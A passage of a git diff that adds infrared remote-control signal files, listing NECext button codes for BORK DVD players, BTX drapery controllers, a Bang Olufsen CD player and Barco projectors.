NECext +address: 49 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0B 00 00 00 +# +name: SWITCH +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 0F 00 00 00 +# +name: SF +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 10 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 11 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 12 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 13 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 15 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 17 00 00 00 +# +name: PS +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 18 00 00 00 +# +name: IS +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 1A 00 00 00 +# +name: WORD_NEXT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 41 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 42 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 43 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 44 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 45 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 47 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 48 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 49 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 4F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 50 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 51 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 52 00 00 00 +# +name: WORD_PREV +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 53 00 00 00 +# +name: PN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 56 00 00 00 +# +name: APPLOUSE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 57 00 00 00 +# +name: VOCAL +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir new file mode 100644 index 000000000..ef20026b8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: pic +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: brain +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: capture +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: usb +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: programm +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: fb +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_KEYBOARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir new file mode 100644 index 000000000..faedfb3d4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_CLOSE +type: parsed +protocol: NECext +address: 91 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir new file mode 100644 index 000000000..da4df74e5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 2_CLOSE +type: parsed +protocol: NECext +address: 92 00 00 00 +command: 6D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir new file mode 100644 index 000000000..5cf4711b3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 3_CLOSE +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir new file mode 100644 index 000000000..ffe605b9a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 4_CLOSE +type: parsed +protocol: NECext +address: 94 00 00 00 +command: 6B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir new file mode 100644 index 000000000..7983802a5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_STOP +type: parsed +protocol: NECext +address: C1 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir new file mode 100644 index 000000000..fa41745d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 2_STOP +type: parsed +protocol: NECext +address: C2 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir new file mode 100644 index 000000000..b0a623f27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 3_STOP +type: parsed +protocol: NECext +address: C3 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir new file mode 100644 index 000000000..31c8a8303 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 4_STOP +type: parsed +protocol: NECext +address: C4 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir new file mode 100644 index 000000000..0798a1842 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_OPEN +type: parsed +protocol: NECext +address: 51 00 00 00 +command: AE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir new file mode 100644 index 000000000..386e6d4a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 2_OPEN +type: parsed +protocol: NECext +address: 52 00 00 00 +command: AD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir new file mode 100644 index 000000000..89d3e5fee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 3_OPEN +type: parsed +protocol: NECext +address: 53 00 00 00 +command: AC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir new file mode 100644 index 000000000..883b0c750 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 4_OPEN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: AB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir new file mode 100644 index 000000000..5ea290d05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: SCAN_- +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: SCAN_+ +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir new file mode 100644 index 000000000..866ba3610 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: audio-mute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: brightness+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: brightness- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: color+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: color- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: bass+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: bass- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: treble+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: treble- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: balance+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: balance- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: contrast+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: contrast- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: tint- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: tint+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: autoimage +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: phase+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: phase- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: sharpness+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: sharpness +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: ADJ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: adress +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_F5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: focus-zoom-shift +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir new file mode 100644 index 000000000..ad5d23a04 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: BALANCE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: BALANCE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TINT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: PHASE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: PHASE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: ADJUST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 77 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir new file mode 100644 index 000000000..53ea84e7c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 04 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 04 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 05 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 05 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 06 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 06 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 07 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 07 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 08 00 00 00 +# +name: ADJ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 09 00 00 00 +# +name: ADJUST +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0A 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0E 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 19 00 00 00 +# +name: ADDRESS +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 20 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 12 00 00 00 